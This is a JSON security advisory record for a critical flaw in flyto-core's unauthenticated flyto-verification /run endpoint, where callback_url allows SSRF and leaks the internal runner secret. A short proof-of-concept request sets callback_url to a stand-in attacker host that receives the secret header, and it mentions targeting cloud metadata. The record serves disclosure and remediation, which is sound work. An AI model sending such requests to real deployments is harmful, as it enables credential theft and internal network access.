{"id":"GHSA-jx74-cqjv-2c67","summary":"Flyto2 Core: Unauthenticated flyto-verification /run: callback_url SSRF and internal runner-secret exfiltration","details":"## Summary\nThe standalone `flyto-verification` service exposes `POST /run` with **no authentication**, on all interfaces (0.0.0.0:8344 per the shipped Dockerfile). The request body's `callback_url` is used verbatim for an outbound POST that **unconditionally attaches `X-Internal-Key: $FLYTO_RUNNER_SECRET`**. The `callback_url` bypasses the service's `target_allowed` allowlist (which only inspects `params.target_url`) and is never passed through any SSRF guard. This yields (a) unauthenticated SSRF to internal/metadata endpoints with an attacker-controlled JSON body, and (b) exfiltration of the internal runner secret to an attacker-controlled host — allowing forged authenticated callbacks to the real engine.\n\n## Root Cause\n- `src/core/verification_service.py:363-364` — `/run` has no `Depends`/auth dependency.\n- `resolve_callback_url` returns the client `callback_url` verbatim (`:315-316`).\n- `post_callback` attaches `X-Internal-Key: $FLYTO_RUNNER_SECRET` whenever the env var is set (`:327-335`).\n- `target_allowed` only gates `params.target_url` (`:259`), never `callback_url`. No `validate_url_*` anywhere in the file.\n- `Dockerfile.verification` CMD = `main('0.0.0.0', 8344)`; entrypoint `flyto-verification` in `pyproject.toml:107` → the shipped image binds all interfaces by default.\n\n## Impact\nUnauthenticated (PR:N) readable SSRF to internal/cloud-metadata with a controlled body (C:H, S:C), plus theft of `FLYTO_RUNNER_SECRET` to an attacker host → the attacker can then authenticate to the real engine callback endpoint (credential compromise, CWE-522).\n\n## Proof of Concept\nCode-proven this session (all lines confirmed on v2.26.6):\n```\nPOST http://\u003cverification-host\u003e:8344/run\n{\"workflowYaml\":\"...\",\"params\":{...},\"callback_url\":\"http://attacker.tld/collect\"}\n# -\u003e service POSTs to attacker.tld with header X-Internal-Key: \u003cFLYTO_RUNNER_SECRET\u003e\n# Or callback_url=http://\u003ccloud-metadata-ip\u003e/... for internal SSRF with a controlled body.\n```\n\n## Attack Chain\n1. Entry: unauthenticated `POST http://\u003chost\u003e:8344/run` with `callback_url:\"http://attacker.tld/collect\"`. Guard: auth on `/run`. Bypass proof: no `Depends(require_auth)` (verification_service.py:363-364); Dockerfile binds all interfaces on port 8344.\n2. Check: `target_allowed` scope (:259). Bypass proof: only inspects `params.target_url`; `callback_url` is never passed through `extract_host`/`target_allowed`.\n3. Check: SSRF validation on `callback_url`. Bypass proof: file has ZERO `validate_url` references.\n4. Sink: `post_callback` → `session.post(callback_url, json=payload, headers={\"X-Internal-Key\": FLYTO_RUNNER_SECRET})` (:330-335); header attached unconditionally when the env var is set (:327-329).\n5. Impact: (a) SSRF to the cloud metadata IP / internal with a controlled JSON body; (b) exfiltration of FLYTO_RUNNER_SECRET → replay to authenticate to the real engine callback endpoint.\n\n## Bypass Evidence\n`/run` has no auth dependency (grep-confirmed); `resolve_callback_url` returns the client value verbatim; `X-Internal-Key` attached unconditionally; `target_allowed` gates only `params.target_url`; no `validate_url_*` in the file; shipped Dockerfile binds all interfaces.\n\n## Affected Versions\n`\u003c= 2.26.6` — `verification_service.py`, `pyproject.toml:107` entrypoint, and `Dockerfile.verification` present on latest release tag.\n\n## Suggested Fix\nAdd authentication to `/run`; run `callback_url` through the SSRF guard + host allowlist before attaching any internal header; do not attach `X-Internal-Key` to non-allowlisted destinations; bind the service to loopback by default.\n\n## Credit\n\nVulnerability discovered by zx (Jace).","aliases":["CVE-2026-67426","PYSEC-2026-3571"],"modified":"2026-08-10T15:15:16.074285053Z","published":"2026-07-30T14:47:41Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-07-30T14:47:41Z","nvd_published_at":"2026-07-29T19:16:51Z","cwe_ids":["CWE-306","CWE-522","CWE-918"],"severity":"CRITICAL"},"references":[{"type":"WEB","url":"https://github.com/flytohub/flyto-core/security/advisories/GHSA-jx74-cqjv-2c67"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-67426"},{"type":"WEB","url":"https://github.com/flytohub/flyto-core/commit/0a0a528520ec18f5a21f1ddf858a71cc1edfb6e9"},{"type":"PACKAGE","url":"https://github.com/flytohub/flyto-core"},{"type":"WEB","url":"https://github.com/flytohub/flyto-core/releases/tag/v2.26.7"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/flyto-core/PYSEC-2026-3571.yaml"}],"affected":[{"package":{"name":"flyto-core","ecosystem":"PyPI","purl":"pkg:pypi/flyto-core"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.26.6"},{"fixed":"2.26.7"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-jx74-cqjv-2c67/GHSA-jx74-cqjv-2c67.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N"}]}